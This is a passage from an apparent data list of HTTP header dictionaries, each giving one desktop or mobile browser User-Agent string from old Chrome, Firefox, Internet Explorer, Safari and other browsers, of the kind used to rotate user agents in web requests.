"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.4 (KHTML, like Gecko) Chrome/3.0.194.0 Safari/531.4"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.50 Safari/525.19"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Lunascape 5.0 alpha2)"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.7 Safari/532.2"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0"},
|
||||||
|
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon;"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.169.0 Safari/530.1"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.7) Gecko/20040614 Firefox/0.9"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.810.0 Safari/535.1"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.3.4000 Chrome/30.0.1599.101 Safari/537.36"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0 Safari/534.6"},
|
||||||
|
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TencentTraveler)"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.4 (KHTML, like Gecko) Chrome/6.0.481.0 Safari/534.4"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.370.0 Safari/533.4"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.4.154.31 Safari/525.19"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.17) Gecko/20110123 (like Firefox/3.x) SeaMonkey/2.0.12"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) Chrome/4.0.223.3 Safari/532.2"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/12.0.702.0 Safari/534.24"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.42 Safari/525.19"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.227.0 Safari/532.3"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.8 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.8"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.463.0 Safari/534.3"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.9 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.9"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.794.0 Safari/535.1"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.694.0 Safari/534.24"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6"},
|
||||||
|
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322)"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.4 Safari/532.2"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.682.0 Safari/534.21"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/531.0"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.9 (KHTML, like Gecko) Chrome/7.0.531.0 Safari/534.9"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.811.0 Safari/535.1"},
|
||||||
|
{"User-Agent": "ozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.5) Gecko/20041108 Firefox/1.0"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/20.0.019; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) BrowserNG/7.1.18124"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.127 Safari/533.4"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) QQBrowser/6.9.11079.201"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2"},
|
||||||
|
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; zh-cn) Opera 8.50"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/7.0.0 Safari/700.13"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041107 Firefox/0.9.2 StumbleUpon/1.994"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.5) Gecko/20041110 Firefox/1.0"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1467.0 Safari/537.36"},
|
||||||
|
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.0"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b4pre) Gecko/20100815 Minefield/4.0b4pre"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9pre) Gecko/2008072421 Minefield/3.0.2pre"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.6 Safari/530.5"},
|
||||||
|
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.168.0 Safari/530.1"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20040913 Firefox/0.10"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.177.1 Safari/530.8"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8"},
|
||||||
|
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.40 Safari/530.5"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.24 Safari/532.0"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7"},
|
||||||
|
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461)"},
|
||||||
|
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0)"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.7.3) Gecko/20041001 Firefox/0.10.1"},
|
||||||
|
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0) Gecko/16.0 Firefox/16.0"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3"},
|
||||||
|
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1"},
|
||||||
|
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.864.0 Safari/535.2"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows NT 5.1; rv:2.1.1) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.801.0 Safari/535.1"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.697.0 Safari/534.24"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.548.0 Safari/534.10"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.652.0 Safari/534.17"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.62 Safari/537.36"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 ChromePlus/1.5.2.0"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.0 Safari/532.1"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.2 Safari/533.2"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.4 Safari/532.1"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows NT 6.0; rv:2.1.1) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.5) Gecko/20041108 Firefox/1.0"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.462.0 Safari/534.3"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.5) Gecko/20041122 Firefox/1.0"},
|
||||||
|
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)"},
|
||||||
|
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HCI0449; .NET CLR 1.0.3705)"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt); Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1);"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.23 Safari/530.5"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows NT 6.0; rv:14.0) Gecko/20100101 Firefox/14.0.1"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.176.0 Safari/530.7"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0"},
|
||||||
|
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"},
|
||||||
|
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.1"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.55 Safari/525.19"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0a1) Gecko/20110623 Firefox/7.0a1 Fennec/7.0a1"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.724.100 Safari/534.30"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0"},
|
||||||
|
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; uZardWeb/1.0; Server_HK)"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.0) yi; AppleWebKit/345667.12221 (KHTML, like Gecko) Chrome/23.0.1271.26 Safari/453667.1221"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.2 (KHTML, like Gecko) Chrome/3.0.191.3 Safari/531.2"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.39 Safari/530.5"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.38 Safari/532.0"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b) Gecko/20050118 Firefox/1.0+"},
|
||||||
|
